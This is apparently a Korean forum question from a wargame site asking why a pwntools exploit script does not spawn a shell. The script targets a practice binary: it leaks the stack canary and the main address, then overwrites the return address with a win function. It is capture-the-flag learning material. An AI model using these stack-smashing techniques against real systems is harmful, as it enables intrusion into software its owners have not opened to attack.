완료됨
왜 안되는지 모르겠습니다.
from pwn import *
p = process("./main")
#p = remote("host1.dreamhack.games", 15816)
context.log_level = 'debug'
#[1] leak the canary
payload = b'a'*7
p.sendafter("Pattern: ", payload)
p.sendafter("Target length: ", b"1000\n")
p.recvn(1001)
canary = b"\x00" + p.recvn(7)
canary_ = u64(canary)
print(f"canary: {canary}")
#[2] leak the main address
payload = b'b'*43
p.sendafter("Pattern: ", payload)
p.sendafter("Target length: ", b"1000\n")
p.recvn(1032)
main = p.recvn(6) + b"\x00\x00"
main_addr = u64(main)
print(f"[+] main_addr = {hex(main_addr)}")
win = main_addr - 26
print(f"[+] win_addr = {hex(win)}")
#[3] overwrite the return address
payload = b'a'*11 + p64(canary_) + p64(win)*3
print(f"[+] payload = {hexdump(payload)}")
p.sendafter("Pattern: ", payload)
p.sendafter("Target length: ", b"1000\n")
p.interactive()
코드는 위와 같이 작성했고 마지막에 target_len에 1000보다 큰 값을 입력 후 while문을 빠져나오면 ret주소가 win으로 덮여서 셸이 실행 되는 것을 기대했는데 왜 실행이 안되는지 잘 모르겠습니다.
#pwnable
작성자 정보